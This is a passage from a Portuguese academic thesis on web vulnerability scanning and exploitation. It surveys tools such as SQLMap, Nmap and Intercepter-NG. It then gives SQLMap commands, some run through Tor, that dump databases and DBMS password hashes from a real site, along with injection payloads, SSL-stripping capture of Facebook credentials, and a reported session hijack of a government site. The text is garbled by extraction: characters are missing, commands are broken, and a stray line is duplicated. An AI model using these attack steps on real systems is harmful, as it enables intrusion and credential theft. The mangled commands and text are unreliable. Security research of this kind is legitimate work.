aplicaes Web, inicialmente abordado o Web Scanner W3af, em seguida descrito o arca-
bouo utilizado para efetuar injees de SQL, o SQL Map, ainda abordado uma ferramenta
para Android Intercepter-NG que automatiza o ataque SSL Striping, o Scanner de portas Nmap,
o software Tor, o Burp Suite e outras ferramentas utilizados em ataques especcos.
2.5.1 OPEN SOURCE WEB APPLICATION SECURITY SCANNER (W3AF)
O Web Application Attack and Audit Framework (W3AF) um arcabouo de ataque e
auditoria de aplicaes Web. O objetivo da ferramenta identicar pontos passveis de explo-
rao em aplicaes Web. Sua estrutura desenvolvida usando a linguagem de programao
Python e est licenciado sob a licena GPLv2.0.
W3AF dividido em duas partes principais, o ncleo e os mdulos de extenso. O
ncleo coordena o processo e fornece recursos que so consumidos pelos mdulos de extenso,
que encontram as vulnerabilidades e as exploram. Os mdulos de extenso so informaes
conectadas e compartilhadas utilizando uma base de conhecimento. Os mdulos de extenso
so classicados nos seguintes tipos: descoberta (Discovery), auditoria(Audit), grep, ataque (At-
tack), sada (Output), deturpar (Mangle), evaso (Evasion) e fora bruta (Bruteforce) (W3AF,
2013).
2.5.2 SQL MAP
SQLMap uma ferramenta de teste de penetrao de cdigo aberto que automatiza
o processo de deteco e explorao de falhas de injeo SQL. Possui um mecanismo de de-
teco, e muitos tipos de testes de penetrao para o testador nal. Possui completo suporte
para os gerenciadores de bancos de dados MySQL, Oracle, PostgreSQL, Microsoft SQL Server,
Microsoft Access, IBM DB2, SQLite, Firebird, Sybase e SAP MaxDB. Com suporte total a seis
tcnicas de injeo SQL: boolean-based blind, time-based blind, error-based, UNION query,
stacked queries and out-of-band.
O SQLMap pode se conectar diretamente ao banco de dados, sem passar por uma
injeo de SQL, somente fornecendo credenciais SGBD, como o endereo IP, a porta e nome
do banco de dados. Possui ainda suporte para enumerar usurios, hashes de senha, privilgios,
papis, nome do bancos de dados, tabelas e colunas, alm do reconhecimento automtico de
25
formatos de hash de senha e suporte para quebr-los usando um ataque baseado em dicionrio
(G.; STAMPAR, 2013).
2.5.3 INTERCEPTER-NG
Intercepter-NG um conjunto de ferramentas multifuncional para interceptao de
dados em redes. Agrega vrias ferramentas tcnicas, como por exemplo, a uma alternativa ao
Wireshark para dispositivos Android (ARES, 2013).
As principais caractersticas so a descoberta de rede com deteco de sistema opera-
cional, a anlise de trfego da rede, a recuperao de senhas e arquivos.
2.5.4 NMAP
O Nmap (Network Mapper) uma ferramenta de cdigo aberto para explorao de
redes e auditoria de segurana escrita em escrito em C/C++, com uma interpretador LUA em-
butido no mesmo, e desenvolvida por Gordon Lyon (GORDON, 2013). O Nmap foi projetado
para explorar grandes redes de computadores, mas tambm pode ser utilizada com xito para
mapear hosts individuais. A ferramenta usa pacotes de IP em estado bruto para determinar quais
hosts esto disponveis na rede, bem como quais servios que eles hospedam, qual verso do
sistema operacional, se existem ltros de pacotes, rewalls.
O Nmap utilizado em auditorias de segurana, inventrios de rede, gerenciamento de
servios de atualizao agendados e ainda monitoramento de disponibilidade de servios. O
Nmap opera de uma maneira geral nas camadas de rede e transporte, mas tambm manipula
dados da camada de enlace, tais como endereos MAC e requisies ARP. A ferramenta ainda
pode interpretar dados da camada de aplicao a m de minerar dados importante como verses
dos servios e sistemas operacionais executados no servidor remoto. Basicamente o resultado
da explorao utilizando o Nmap uma lista dos alvos explorados com informaes de cada
alvo explorados com verses de servios e sistemas operacionais bem como portas abertas,
DNS reverso tipos de dispositivos e endereos MAC dos mesmos.
O Nmap possui outros recursos como o Nmap Scripting Engine (NSE). Ele permite
aos usurios escrever scripts simples usando a linguagem de programao Lua para automatizar
uma grande variedade de tarefas de rede. Esses scripts so executados em paralelo ao Nmap.
Existem uma srie de scripts escritos para o NSE, mas o usurio tambm pode escrever seus
prprios scripts para atender uma necessidade especca. Os scripts do Nmap no executados
no modo de teste (sandbox) portanto recomenda-se muito cuidado na execuo dos scripts do
26
mesmo. A documentao do Nmap recomenda no utilizar scripts de terceiros a no ser que se
conhea seu contedo (GORDON, 2013).
2.5.5 TOR
O Tor basicamente uma rede de tneis virtuais que possibilita o anonimato na Inter-
net. utilizado por pessoas que no querem ser rastreadas na rede, foi originalmente imple-
mentado como um projeto no Laboratrio Naval dos EUA e seu objetivo principal era proteger
as comunicaes do governo. A verso atual do Tor um projeto aberto e utilizado por vrias
pessoas e organizaes que buscam anonimato na Internet. O utilitrio Tor basicamente um
cliente que se conecta a uma rede virtual que garante o anonimato de cada ponto da rede, no
possibilitando assim a origem da comunicao e nos casos de testes de invaso dicultam a
descoberta da origem do ataque (TOR, 2014).
2.5.6 BURP SUITE
O Burp Suite uma plataforma utilizada para efetuar testes de segurana em aplicaes
Web. Possui duas verses: uma gratuita com limitaes de uso e outra verso completa paga.
Entre suas principais funes est a funo Proxy que permite a interceptao do trfego e
a modicao dos dados entre a origem e o destino. Tambm possui a funo Spider que
permite o rastreamento do contedo da aplicao Web, e uma funo chamada Intruder para
realizao de ataques personalizados de difcil explorao. Utilizando a verso gratuita a funo
de Proxy atende a vrios ns, como interceptao e repetio de dados entre a origem e destino
(PORTSWIGGER, 2014).
2.5.7 OUTRAS FERRAMENTAS UTILIZADAS EM ATAQUES ESPECFICOS
2.5.7.1 SUBTERFURGE
OSubterfurge umarcabouo que automatiza todo processo de umataque Man-in-the-
Middle possibilitando que usurios no tcnicos possam efetuar ataques executando um nico
comando acionado por uma interface visual. O arcabouo uma aplicao Web que uma vez
hospedado em um host com acesso a uma rede LAN possibilita ataques como o SSLStriping
capturando senhas que trafegam na rede local. Sua utilizao simples bastando instalar a
aplicao e iniciar a captura de dados (TOUSSAIN; SHIELDS, 2014).
27
2.5.7.2 KALI LINUX
O Kali Linux uma sistema operacional livre baseado na distribuio Linux Debian.
mantido e nanciado pela empresa Offensive Security. O Kali Linux contm uma gama de fer-
ramentas pr-instaladas que agiliza todo o processo de testes de invaso e intruso (SECURITY,
2014).
2.5.7.3 GREASEMONKEY
Greasemonkey uma extenso para o navegador refox e seus derivados que permite a
manipulao de pequenas partes de cdigo javascript nas aplicaes Web. Possibilita a criao
de scripts para personalizar o comportamento da pgina Web visitada (LIEUALLEN et al.,
2014).
2.5.7.4 COOKIE INJECTOR
O Cookie Injector um script utilizado para injetar cookies em forma de texto plano no
navegador Web, os introduzindo como se fossem originalmente criados no navegador injetado
(SYSTEMS, 2014).
2.5.7.5 MUTILLIDAE
Mutillidae uma aplicao desenvolvida pela OWASP com inmeras vulnerabilidades
para testes e demostraes de ataques em ambiente controlado. Possui congurao de nveis
de segurana para ataques indo do modo fcil at o modo difcil (MUTILLIDAE, 2014).
2.5.7.6 DAMN VULNERABLE WEB APP (DVWA)
O DVWA assim como o Mutillidae tambm uma aplicao vulnervel para testes de
ataques. Tambm congurvel em nveis de diculdade dicultando ou facilitando os ataques
(DVWA, 2014).
28
3 DESENVOLVIMENTO E RESULTADOS
Neste captulo apresentado a realizao dos experimentos e a anlise de vulnerabi-
lidades. Na seo 3.1 apresentado a avaliao de algumas ferramentas utilizadas no presente
trabalho. Na seo 3.2 apresentado a execuo das varreduras nos stios Web e a explorao
das vulnerabilidades descritas no OWASP Top 10 seguidas de contramedidas para cada ataque
descrito.
3.1 AVALIAO DAS FERRAMENTAS
Nesta seo so descritas as avaliaes das ferramentas utilizadas durante a explorao
de vulnerabilidades Web bem como a explorao da infraestrutura onde as aplicaes esto
hospedadas.
3.1.1 W3AF
A ferramenta W3af detectou inmeras vulnerabilidades em um tempo extremamente
curto, agilizando o processo de descoberta das vulnerabilidades das aplicaes Web examina-
das. Suas opes de conguraes so extremamente exveis permitindo ainda a criao de
pers de varreduras completamente personalizveis. A ferramenta agrega pers pr estabeleci-
dos de acordo com as vulnerabilidades desejadas a serem analisadas nas buscas. O W3af ainda
traz um perl de anlise congurado para encontrar as vulnerabilidades contidas no Owasp Top
10, agilizando a execuo dos testes. A gura 6 mostra vulnerabilidades encontradas aps a
varredura de um stio com o W3AF.
29
Figura 6: Resultado de uma varredura utilizando o W3AF
O W3af se mostrou de fcil utilizao devido a sua interface simples e objetiva. Todos
os resultados dos testes so enumerados bem como todos os parmetros enviados e suas res-
pectivas respostas so detalhados pela ferramenta. O W3af lista sugestes de aplicativos para
explorar as vulnerabilidades encontradas durante a varredura.
Onico inconveniente apresentado o nmero excessivo de requisies HTTP gerando
um excesso de trfego na rede ocasionando lentido na mesma. De uma maneira geral, a fer-
ramenta se tornou ecaz na realizao testes, listando as principais vulnerabilidades existentes
em aplicaes Web.
3.1.2 SQL MAP
Durante os testes utilizando o SQLMap
Durante os testes utilizando o SQLMap, a ferramenta foi ecaz na explorao de par-
metros injetveis em aplicaes Web. Os testes foram efetuados em uma aplicao Web exclu-
siva para testes de segurana disponibilizado pela empresa de segurana Acutinex disponvel em
http://testphp.vulnWeb.com/, utilizando o sistema operacional Kali Linux. A aplicao referida
contm vrias vulnerabilidades, em nossos testes exploramos a vulnerabilidade de injeo de
SQL.
Aps a navegao na aplicao Web notou-se a existncia de parmetros expostos
diretamente na URL da mesma. Um parmetro em um campo de busca se mostrou um possvel
vetor de ataque: http://testphp.vulnweb.com/search.php?test=query.
30
No terminal do Linux iniciou-se os testes com a ferramenta, no Quadro 16 segue a
sintaxe do comando.
SQLmap u h t t p : / / t e s t p h p . vul nweb . com/ s e a r c h . php ? t e s t =quer y dbs
Quadro 16: Sintaxe Sqlmap para listar bases de dados remotos.
O argumento -u indica a URL do endereo do alvo juntamente com o parmetro a
ser explorado na aplicao Web. A ausncia do parmetro na URL informada desencadeia na
ferramenta uma busca automtica por parmetros injetveis na aplicao. O argumento --dbs
indica para a ferramenta buscar todas as bases de dados existentes no domnio.
Figura 7: Resultado de injeo de SQL com SQLMap fase de descoberta
A Figura 7 mostra a sada do comando do Quadro 16, a ferramenta lista vrias informa-
es, como o sistema gerenciador de banco de dados, o tipo de ataque realizado e o cdigo SQL
injetado. Como resultado, o ataque obteve o sucesso pois foram listados duas bases de dados,
uma prpria do MySQL-Server e a base de dados prpria da aplicao Web, a base acuart.
J com o conhecimento do nome da base de dados podemos em segundo passo listar
todas as tabelas da mesma. Para tal utilizaremos alguns argumentos a mais do que no ataque
anterior como segue cdigo no Quadro 17.
31
SQLmap u h t t p : / / t e s t p h p . vul nweb . com/ s e a r c h . php ? t e s t =quer y dbs D a c u a r t t a b l e s
Quadro 17: Sintaxe Sqlmap para listar tabelas em base de dados remota.
O argumento -D indica o alvo a ser explorado em nosso caso a base de dados acuart e
o argumento --tables indica para a ferramenta listar todas as tabelas existentes no banco de
dados alvo.
Figura 8: Resultado de injeo de SQL com SQLMap fase de listagem de tabelas
A Figura 8 mostra a sada do comando anterior, listando todas as tabelas da base de
dados acuart. Com a informao dos nomes de todas as tabelas podemos listar a estrutura de
qualquer tabela enumerando suas colunas com o comando descrito no Quadro 18.
sql map u h t t p : / / t e s t p h p . vul nweb . com/ s e a r c h . php ? t e s t =quer y dbs T u s e r s col umns
Quadro 18: Comando Sqlmap para listar colunas.
O argumento -T indica a tabela do banco de dados a ser listada juntamente com o
argumento --columns que indica a listagem das colunas da tabela.
32
Figura 9: Resultado de injeo de SQL com SQLMap fase de listagem de colunas da tabela
De posse de todas as informaes da estrutura do banco de dados por meio das injees
anteriores podemos agora fazer um despejo (dump) dos dados desejados. Para a demonstrao
foi utilizada a tabela users onde esto os dados dos usurios do sistemas como nome, email,
carto de crdito etc. Para tal utilizaremos o comando descrito no Quadro 19.
SQLmap u h t t p : / / t e s t p h p . vul nweb . com/ s e a r c h . php ? t e s t =quer y dbs T u s e r s col umns C
uname , pass , emai l dump
Quadro 19: Comando Sqlmap para extrair dados de base remota.
O comando utilizado para fazer o dump similar aos anteriores mas com alguns argu-
mentos a mais. Indicando a tabela users com o argumento -T e listando as colunas da tabela
com o argumento --columns indica as colunas a serem efetuadas a extrao dos dados com o
argumento -C, por m, o argumento --dump indica para a ferramenta executar o dump da base.
33
Figura 10: Resultado de injeo de SQL com SQLMap fase de listagem dos dados na tabela indi-
cada.
A Figura 10 mostra a sada do comando anterior listando todos os dados na tabela
indicada para injeo.
A ferramenta mostrou-se eciente na automao do ataque no sendo necessrio co-
nhecer nenhuma tcnica especca de injeo de SQL. O que deixa um alerta de gravidade ainda
maior para a vulnerabilidade de injeo pois com a utilizao da ferramenta qualquer indivduo
com conhecimento tcnico pode explorar facilmente essa vulnerabilidade.
3.1.3 INTERCEPTER-NG
A ferramenta intercepter-ng foi utilizada na explorao de ataques de xao de ses-
so, pois possibilita a captura de cookies com o mnimo de esforo. Tambm existe a opo
de se fazer ataques do tipo SSL Stripping somente congurando o painel de opes conforme
Figura 11.
34
Figura 11: Menu de conguraes Intecepter-NG
Foram executados testes de interceptao de senhas com sucesso utilizando a ferra-
menta. O exemplo a seguir foi executado em um cenrio controlado utilizando um dispositivo
Android em uma rede sem o domstica. Estando conectado a rede sem o iniciou-se a cap-
tura de pacotes e deu-se incio ao ataque SSL Striping. Na mesma rede estavam conectados um
computador pessoal (PC) o qual estava sendo ltrado todo o trfego pelo dispositivo Android.
A vtima ento, para ns do experimento, acessou utilizando a funo de autocompletar do na-
vegador o site facebook.com. Nesse momento o aplicativo detecta o acesso ao facebook.com
como mostra a Figura 12.
Figura 12: Identicao de acesso ao site www.facebook.com
Neste momento a pgina de autenticao do site est sendo exibida para o usurio, mas
a conexo est utilizando o protocolo HTTP, pois o dispositivo est ltrando todas as requisi-
es, a gura 13 ilustra a viso da vtima no momento da execuo do ataque.
35
Figura 13: Viso da vtima diante o ataque
No momento do envio do formulrio, as credenciais passam pelo dispositivo Android
que identica a tentativa de autenticao e armazena as credenciais do usurio podendo ser uti-
lizadas indevidamente pelo atacante. O aplicativo neste caso tentou estabelecer a conexo com
o facebook e passar para a vtima o contedo descriptografado, nesse caso no obteve sucesso
e retornou um erro no navegador da vtima. A Figura 14 ilustra a deteco da autenticao e
mostra as credenciais do usurio, nesse caso a conta ctcia e j foi extinta.
Figura 14: Interceptao de dados da vtima
A ferramenta cumpre os requisitos prometidos e simples de ser utilizada, para os
experimentos. Com a utilizao da ferramenta foi obtido ainda sucesso na captura de cookies e
na xao de sesses de dispositivos mveis que utilizavam o aplicativo facebook mobile. Foi
executado com sucesso a xao de sesso em um stio governamental utilizando cookies de
sesso do mesmo capturados pelo aplicativo.
36
3.1.4 NMAP
Os testes realizados com o Nmap se mostraram efetivos para a enumerao de servios
sendo executados na infraestrutura onde as aplicaes Web esto hospedadas. A ferramenta
eciente e com uma ampla documentao de fcil entendimento com inmeras opes at
mesmo para evadir IDS e rewalls.
Os testes foramexecutados usando o sistema operacional Kali Linux utilizando o termi-
nal como interface. O primeiro teste foi realizado utilizando uma aplicao Web disponibilizada
pelo prprio Nmap disponvel no endereo http://scanme.nmap.org/, no Quadro 20 segue
a sintaxe do comando executado no primeiro teste.
nmap sS sC sV scanme . nmap . or g
uname , pass , emai l dump
Quadro 20: Comando Nmap para iniciar varredura de portas.
O argumento -sS invoca o mtodo de varredura TCP SYN que utiliza mtodos comuns
de porta-identicao que permitem o Nmap reunir informaes sobre as portas abertas sem
concluir o processo de handshake TCP. Quando uma porta aberta identicada, o handshake
TCP reposto antes de ser concludo. Esta tcnica muitas vezes referida como varredura
semi-aberta (half open scanning) (GORDON, 2013). O argumento -sC invoca todos os scripts
padres do mdulo NSE contido no Nmap. E por m o argumento -sV lista as verses dos
aplicativos e servios executados no alvo. A Figura 15 mostra a sada do comando executado.
Figura 15: Exemplo de reconhecimento com Nmap
Como mostra a Figura 15, vrias informaes sobre a infraestrutura onde a aplicao
37
est hospedada foram obtidos, como servidor de aplicao e sua verso e sistema operacional.
Ainda possvel vericar as chaves SSH do alvo em questo.
Tambm foi executado um teste de reconhecimento em um sistema real que utiliza
como gerenciador de contedo o CMS WordPress. O mdulo NSE do Nmap possui uma s-
rie de scripts especcos, entre eles um script que busca todos os usurios administrativos re-
gistrados no sistema e os lista juntamente com o reconhecimento padro como segue no co-
mando exemplo. Para ns de manter o anonimato da aplicao Web, a URL utilizada ser
www.exemplowordpress.com, a sintaxe pode ser vista no quadro 21.
nmap p80 s c r i p t ht t p wor dpr es s enum www. exempl owor dpr es s . com
uname , pass , emai l dump
Quadro 21: Comando Nmap para listar usurios de um determinado domnio Web.
A Figura 16 ilustra a sada do comando descrito no Quadro 21 listando todos os usu-
rios cadastrados como administradores do sistema.
Figura 16: Exemplo de listagem de usurios Wordpress
A ferramenta foi efetiva nos reconhecimentos e testes de segurana. A documenta-
o ampla e de fcil leitura, o que facilita a curva de aprendizado. O Nmap oferece vrios
scripts para testes de invaso, como por exemplo scripts de fora bruta, de listagen de usurio
de CMS Wordpress, o que possibilita a execuo de um teste de invaso completo utilizando
apenas a ferramenta poupando muito tempo para prossionais interessados em executar testes
de segurana em sua aplicaes e infraestruturas Web.
38
3.2 ANLISE DOS STIOS WEB
Nesta seo so apresentados os resultados das varreduras executadas nos stios pre-
viamente escolhidos levando em considerao categorias especcas. So apresentados quanti-
dades e percentuais das vulnerabilidades encontradas bem como a explorao de cada uma das
vulnerabilidades existentes no OWASP Top 10.
3.2.1 EXECUO DE VARREDURAS NOS STIOS WEB
Para a execuo das varreduras foram escolhidas categorias especcas de stios Web,
de forma que se pudesse abranger uma maior diversidade de stios com um nmero reduzido
de amostras de cada categoria. Inicialmente foram estabelecidas as seguintes categorias de
stios Web para anlise: comrcio eletrnico, religiosos, acadmicos, grandes portais, stios que
utilizam CMSs, governamentais, regionais e de contedo adulto. Foram selecionados 10 stios
Web de cada categoria totalizando 80 stios a serem analisados.
As varreduras foram realizadas usando Web Scanners: o Vega (SUBGRAPH, 2013) e o
W3af (W3AF, 2013). Durante as varreduras houveram vrios problemas, dentre eles o bloqueio
do acesso a Internet do host utilizado para efetuar as varreduras por parte do provedor de acesso
local. Esse bloqueio se deu devido ao excesso de requisies HTTP para um mesmo endereo
na Web. Aps esse incidente as varreduras foram executadas com intervalos de 24 a 48 horas
de pausa.
Apesar do intervalo entre as varreduras ter resolvido, o problema de bloqueio de acesso
por parte do provedor, outros problemas oriundos das varreduras surgiram. Durante uma varre-
dura a um stio Web na regio de Campo Mouro com a devida autorizao dos proprietrios
do mesmo houveram problemas de envio em massa de emails para departamentos da empresa.
Cerca de mil emails foram enviados para o departamento comercial da empresa se aproveitando
da no vericao de robs no preenchimento e envio de formulrios.
Para evitar outros problemas o nmero de stios avaliados foi reduzido drasticamente
de 80 para 16 stios, que foi o nmero de stios avaliados at o incio dos problemas citados.
Mesmo com essa reduo no escopo das vericaes muitas vulnerabilidades foram descober-
tas. As vulnerabilidades encontradas foram classicadas utilizando a metodologia de avaliao
de riscos contido no OWASP Top Ten (TEN, 2013). A classicao das vulnerabilidades pode
ser vista na Figura 17.
39
Figura 17: Classicao de Riscos OWASP Top 10
Fonte: (TEN, 2013)
A viso geral das varreduras efetuadas pode ser observada na Tabela 1 contendo os
tipos de stios onde foram efetuadas, e o tempo mdio gasto por stio.
Tipos de Stios Web Tempo Mdio de Varredura
Comrcio Eletrnico 6 horas
Religiosos 30 minutos
Acadmicos 3 horas
Grandes Portais 6.3 horas
Stios que Utilizam CMS 56 minutos
Governamentais 30 minutos
Regionais 40 minutos
Contedo Adulto 1 hora
Tabela 1: Viso geral das varreduras.
A viso detalhada das varreduras pode ser vista na tabela 2, contendo a o total de
vulnerabilidade por stio Web classicado pelo grau de risco disponibilizado pela OWASP. Os
stios so numerados de 1 a 16, especicando o tipo de stio e a severidade das vulnerabilidades
encontradas no mesmo.
40
Stios/Tipo de Stios Vuln. Severa Vuln. Moderada Vuln. Mdia
Stio 1 / Regional 0 1 0
Stio 2 / Comrcio Eletrnico 0 2 0
Stio 3 / Regional 1 2 0
Stio 4 / Grande Portal 0 1 0
Stio 5 / Regional 0 2 0
Stio 6 / Comrcio Eletrnico 1 2 0
Stio 7 / Comrcio Eletrnico 1 1 0
Stio 8 / Acadmico 1 2 0
Stio 9 / CMS 1 2 0
Stio 10 / Religioso 1 2 0
Stio 11 / Acadmico 1 1 0
Stio 12 / Governamental 1 1 0
Stio 13 / Regional 1 1 0
Stio 14 / CMS 0 1 0
Stio 15 / Comrcio Eletrnico 1 1 0
Stio 16 / Contedo Adulto 1 2 0
Tabela 2: Distribuio dos Stios e as Vulnerabilidades Encontradas.
Em todos os stios analisados foram encontradas vulnerabilidades abordadas no
OWASP Top 10, sendo que 33% foram vulnerabilidades classicadas como severas. O nvel
de diculdade de explorao dessas vulnerabilidades considerado como "fcil" pelo OWASP
Top 10, levando em considerao que 90% das vulnerabilidades classicadas como severas
so de injeo de cdigo SQL na aplicao. A Figura 18 apresenta o grco com o grau de
severidade das vulnerabilidades encontradas.
41
Figura 18: Severidade das vulnerabilidades encontradas
A outra parte das vulnerabilidades encontradas durante as varreduras somaram 67% e
so classicadas como vulnerabilidades moderadas pelo OWASP Top 10, com nvel de dicul-
dade de explorao entre "mdia" e "difcil", ou seja, o nvel de diculdade de explorao
maior, portanto a taxa de sucesso do ataque menor. Nenhum dos stios analisados deixaram
de apresentar vulnerabilidades conhecidas e abordadas no OWASP Top 10.
O resultado das varreduras, mesmo com a reduo dos stios analisados retornaram
vrias vulnerabilidades que foram exploradas em partes com devida autorizao na seo 3.2.2.
3.2.2 EXPLORAO DE VULNERABILIDADES ABORDADAS NO OWASP TOP 10
Esta seo aborda a explorao de vulnerabilidades citadas no Owasp Top 10 atravs
de ataques, seguido aps a descrio de cada ataque pela contramedida de segurana para evitar
o mesmo. Alguns ataques demonstrados foram executados em cenrios reais, e os endereos
e a identidade dos stios e aplicaes Web sero mantidos em sigilo, logo os endereos usados
so ctcios. O restante dos exemplos de explorao foram efetuados em cenrios controlados.
Todos os testes foram realizados utilizando o sistema operacional KALI LINUX e conexo com
Internet de 1 Mbps.
42
3.2.2.1 EXPLORAO SQL INJECTION
O experimento de explorao de injeo de SQL foi abordado minuciosamente enu-
merando todos os passos para execuo do mesmo, pois foi a vulnerabilidade mais explorada e
com grau de criticidade severo segundo a classicao de risco do OWASP Top 10.
No experimento de injeo de SQL, um stio Web foi selecionado a partir das vulne-
rabilidades encontradas nas varreduras encontradas na seo 3.2.1. Esses stios apontaram um
nmero elevado de vetores de injeo de SQL. Cabe ressaltar que os stios selecionados, nos
quais foram realizadas as exploraes, so aplicaes Web reais e a explorao das mesmas
foram autorizadas por seus mantenedores.
Para explorao das vulnerabilidades de injeo de SQL foram utilizados softwares de
captura de trfego, no caso o Burp Suite (PORTSWIGGER, 2014) bem como um arcabouo
que automatiza o processo de injeo de SQL, o SQLMap (G.; STAMPAR, 2013). Para mais
informaes sobre o Burp Suite consulte a subseo 2.5.6. Informaes sobre o SQL Map
podem ser vistas na subseo 3.1.2.
O navegador Web congurado com o proxy do Burp Suite foi utilizado para acessar a
URL com vulnerabilidade aps a identicao da URL do stio Web com o vetor de injeo de
SQL. Aps esse processo a navegao Web car travada no prosseguindo com a requisio
HTTP, pois o Burp Suite intercepta a requisio permitindo a edio dos parmetros contidos
na mesma. Somente aps a edio se necessrio e utilizando a opo forward a requisio
encaminhada para o destino original. No momento em que as informaes da requisio HTTP
esto retidas no Burp Suite, na aba proxy possvel observar todo cabealho da requisio bem
como seus parmetros, como pode ser observado na Figura 19.
43
Figura 19: Burp Suite exibindo dados da requisio HTTP
Concluda a interceptao da requisio HTTP utilizando o Burp Suite, possvel ar-
mazenar todos os dados contidos na requisio em um arquivo texto com todos seus parmetros
inclusive os cookies. Utilizando SQLMap e os dados da requisio HTTP armazenados em
um arquivo texto possvel testar todos os parmetros da URL. Nos testes executados foram
utilizados o dados da requisio HTTP capturados com o Burp Suite, utilizando a sintaxe de
execuo do SQLMap passando por parmetro o arquivo texto com dados da requisio HTTP.
O SQLMap fez a leitura do arquivo texto identicando todos os parmetros da requisio, in-
clusive questionando o uso dos cookies existentes para vericao do mesmo. O comando do
SQLMap que verica parmetros injetveis pode ser visto no quadro 22
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t
Quadro 22: Comando Sqlmap para explorar parmetros atravs do arquivo com dados HTTP.
O comando do quadro 22 testa todas as possibilidades de injeo abordadas pelo ar-
cabouo SQLMap e, juntamente com o software Tor (TOR, 2014), garante anonimato na rede
durante a explorao. O comando sqlmap invoca a execuo do arcabouo juntamente com o
parmetro tor invoca o software Tor, Na sintaxe o comando tor-type=SOCKS5 informa ao
Tor o tipo de conexo a ser utlizada no exemplo utilizado o tipo sockets 5, j o parmetro
44
check-tor sinaliza a checagem da rede Tor antes do incio do envio das requisies fetas pelo
arcabouo, e por m parmetro -r carrega a requisio HTTP capturada pelo Burp Suite de um
arquivo texto. O resultado da execuo do comando pode ser vista no quadro 23.
Pa r a me t e r : i d
Type : bool eanbas ed b l i n d
T i t l e : AND bool eanbas ed b l i n d WHERE or HAVING c l a u s e
Payl oad : i d =1014 AND 2882=2882 AND eYEd = eYEd
Type : UNION quer y
T i t l e : MySQL UNION quer y (NULL) 9 col umns
Payl oad : i d =4094 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT( 0 x7162616571
, 0 x45705862745a6e654966 , 0 x71747a6971 ) , NULL, NULL#
Type : AND/ OR t i mebas ed b l i n d
T i t l e : MySQL > 5 . 0 . 1 1 AND t i mebas ed b l i n d
Payl oad : i d =1014 AND SLEEP( 10) AND MtyD = MtyD
[ 0 6 : 5 0 : 2 7 ] [ INFO] t he backend DBMS i s MySQL
web a p p l i c a t i o n t e c hnol ogy : Apache , PHP 5 . 3 . 2 4
backend DBMS: MySQL 5 . 0 . 1 1
[ 0 6 : 5 0 : 2 7 ] [ INFO] f e t c h e d da t a l ogged t o t e x t f i l e s under / us r / s ha r e / sql map / out put / xxx . com. br
[ ] s h u t t i n g down a t 06: 50: 27
Quadro 23: Resultado da execuo do aplicativo SQLMap (quadro 22).
O resultado apresentado no quadro 23 mostra que o arcabouo identicou o parmetro
id como injetvel e ainda descobriu o SGBD da aplicao, o MYSQL. Enumerou duas tcnicas
diferentes de injeo: a do tipo inferncia, boolean-based blind e a time-based blind, e a tc-
nica de unio de consultas, UNION query. O arcabouo ainda lista as consultas utilizadas que
obtiveram resultados na obteno de dados da aplicao.
Com a conrmao do parmetro id vulnervel e a identicao do SGBD da apli-
cao, foi possvel comear a minerar dados do stio Web. O quadro 24 mostra a sintaxe do
comando para enumerar usurios do SGBD e suas respectivas senhas em hash. Adicionalmente
neste comando utilizado o parmetro technique U, que diz ao arcabouo para utilizar a tc-
nica de Unio de Consultas Union Query para a injeo, o parmetro passwords para listagem
de usurios e senhas e os parmetros -v 1 que indica o nvel de detalhamento da sada do con-
sole.
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t
t e c h n i q u e U pas s wor ds v 1
Quadro 24: Comando SQLMap para enumerao de usurios e hashes das senhas.
Como resultado da execuo do comando descrito no quadro 24, o arcabouo inicia a
injeo de SQL na aplicao enumerando todos os usurios do SGBD e seus respectivos hashes
45
de senha. No teste realizado foram listados 39 usurios e no foram realizados a execuo de
ataques de dicionrio pelo excesso de hashes, limitaes de hardware e a falta de um dicionrio
de dados efetivo. O resultado do comando pode ser visto no quadro 25. No total foram lista-
das 39 hashes, mas na sada so apresentadas apenas 10 para exemplicar o resultado. Todos
os usurios descritos na sada do comando tiveram seus nomes modicados para preservar o
anonimato dos stios Web.
Pela grande quantidade de usurios do SGBD, foi presuposto que se tratava de um
SGBD que hospedava bases de dados de vrios stios Web. Deu-se assim incio a investigao
por meio da explorao do SGBD buscando todas as bases de dados hospedadas no mesmo.
Pl a c e : GET
Pa r a me t e r : i d
Type : UNION quer y
T i t l e : MySQL UNION quer y (NULL) 9 col umns
Payl oad : i d =4094 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, NULL, CONCAT
( 0 x7162616571 , 0 x45705862745a6e654966 , 0 x71747a6971 ) , NULL, NULL#
web a p p l i c a t i o n t e c hnol ogy : Apache , PHP 5 . 3 . 2 4
backend DBMS: MySQL 5 . 0 . 1 1
d a t a b a s e management s ys t em u s e r s passwor d ha s hes :
[ ] babyxxxx [ 1 ] :
passwor d hash : 3C4F31296953D54A0B4E5EEAF7C1B9809D219FB0
[ ] backup [ 1 ] :
passwor d hash : E17CD523ACD5BB41AB224C81408CC2DCF68CFF63
[ ] br i moxxxxx [ 1 ] :
passwor d hash : 36057E62ADA4C7848B9DCD01D1EF8BA88AC0546B
[ ] xxxxsdemi a [ 1 ] :
passwor d hash : A0A9541D6F689FD7BABA8FB4AAF7FBF20EE92EB1
[ ] xxxxxt r ao edf eb [ 1 ] :
passwor d hash : F5D0B33E16C5D5FEFB3DC2EFE59002DBB6A937D4
[ ] xxxxnhei r o [ 1 ] :
passwor d hash : F98F7551DBFF0DB5F5DAB0660E08D9AA32ED44BE
[ ] esmmp [ 1 ] :
passwor d hash : 7B9C1F0A350E37009023C1B3E8B9866BE211F521
[ ] xxxdt our [ 1 ] :
passwor d hash : 63976BDD35421647FCBAEDAE622A9DCEB47C7652
[ ] x x x x n t r o l e [ 1 ] :
passwor d hash : C36001EFED194CB0C47FA7C2EB476C05549925AC
[ ] xxxxaweb [ 1 ] :
passwor d hash : 423A4B9AD54A3AD2F3A80D04665272E955F64C0C
. . . . . . . o u t r o s 29 u s u a r i o s omi t i dos . .
Quadro 25: Resultado da execuo SQLMap (quadro 24).
Para a explorao e listagem das bases de dados existentes no SGBD foi utilizado o co-
46
mando descrito no quadro 26. Adicionalmente o parmetro dbs utilizado para a enumerao
das bases de dados contidas no SGBD.
sql map t o r t or t ype =SOCKS5 checkt o r r a r q u i v o _ r e q u i s i c a o _ h t t p . t x t t e c h n i q u e U dbs
Quadro 26: Comando SQLMap para enumerar bases de dados
